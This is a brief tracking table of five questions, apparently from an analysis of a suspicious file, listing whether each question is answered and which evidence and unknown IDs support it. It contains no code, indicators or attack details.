questions · 5 items

id	question	status	evidence	unknowns
Q1	What is the file?	answered	E6, E15, E16	none
Q2	What does it do?	partial	E1, E2, E3, E4, E5, E7, E8, E9, E10, E11, E12, E13, E14, E17, E18, E19, E20	U1U4
Q3	Configuration and IOCs?	partial	E2	U1
Q4	Classification?	answered	E2, E6, E8, E11, E14, E17, E18	none
Q5	Unknowns and limits?	partial	E6	U1U4